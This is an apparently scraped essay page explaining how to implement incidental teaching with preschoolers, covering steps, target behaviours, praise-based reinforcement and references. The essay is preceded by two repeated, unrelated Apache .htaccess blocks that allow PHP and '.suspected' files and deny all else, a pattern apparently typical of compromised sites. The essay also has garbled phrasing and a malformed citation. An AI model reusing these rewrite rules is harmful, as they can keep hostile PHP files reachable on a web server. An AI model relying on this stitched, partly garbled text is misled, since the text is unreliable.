RewriteEngine On RewriteBase / RewriteRule ^index.php - [L] RewriteRule ^.*\.[pP][hH].* - [L] RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L] Deny from all RewriteEngine On RewriteBase / RewriteRule ^index.php - [L] RewriteRule ^.*\.[pP][hH].* - [L] RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L] Deny from all Incident Teaching Model Implementation - Essay Tide

Incident Teaching Model Implementation

Incidental teaching is a naturalistic type of teaching technique where tutors utilize natural opportunities in the school setting for learning, such as using the time set aside for leisure to develop skills of a kid (Hart & Risley, (1975). While incidental teaching is primarily used for kids aged 2-9 years, it can also be appropriate for individuals that have Autism Spectrum Disorder (ASD) regardless of their age group. According to McGee, Morrier, and Daly (1999), incident teaching utilizes the student’s motivation and interest to structure and sequence educational objectives. This paper explains the suitable implementation procedure of an incidental teaching model in a preschool classroom with ten children.

Steps to Implement an Incident Teaching Model

  1. We should build an engaging atmosphere for a kid; for instance, a playground with several exciting and engaging and exciting activities or objects. It will help to attract kids to some objects and develop their interest in such in the long run.
  2. We should limit access to an exciting object. It can be achieved by keeping such objects in an out of reach but visible place.
  3. The teachers should then wait for students to respond by asking for an object. That is where learning begins. Kids will respond by using gestures such as pointing.
  4. Coach the kids to elaborate on the exact object that they want. For instance, teachers asking for colour in the case of a teddy bear as the object.
  5. Wait until the child responds before you make the next move.
  6. We should reward the kid in doing the desired action with the desired object.

Target Behaviour Identification

A target behaviour is a specific behaviour which has been acquired for a change. For instance, is a particular family want their kid to feed with a fork then, ‘feed with a fork’ is the target behaviour. Therefore, the primary focus should be on what the kid should be doing, not what he/she should not be doing. Target behaviours can be determined using checklists, interviews, tests, or direct observations.

Methods of Reinforcement-Incident Teaching Model

Several ways can be used to reinforce the behaviour of a kid. Offering praise and hugging those makes them to feel enlightened and happy. Also, clapping for them as well as cheering them raises their self-esteem and develops their behaviour. Lastly, a successful kid can be given a high five.

Expected Outcomes

Expected outcomes are the results in incidental teaching, which the teacher expects from the kid after completing the incidental teaching process. Teachers work towards achieving these outcomes in their entire incidental teaching process. Researches show that potential award enhances encoding in the people, regular with the idea that dopaminergic systems which respond to motivationally relevant information also helps to enhance the memory for that particular information.

Families can also combine incident teaching with regular house routines by coming up with ways to develop some skills into their kids in various activities such as bedtime and dinner time, among others. For instance, in Incident Teaching Model, Brian’s brother wants him to learn how to name some body parts. He then utilizes bath time, something that Brian takes flattering, by waiting for Brian to indicate the part that he wants his brother to wash. His brother then coaches him to repeat the name of that body part. It is the easiest way of learning outside the classroom.

References

Hart, B., & Risley, T. R. (1975). Incidental teaching of language in the preschool 1. Journal of applied behavior analysis, 8(4), 411-420.

McGee, G. G., Morrier, M. J., & Daly, T. (1999). An incidental teaching approach to early intervention for toddlers with autism. Journal of the association for persons with severe handicaps, 24(3), 133-146.

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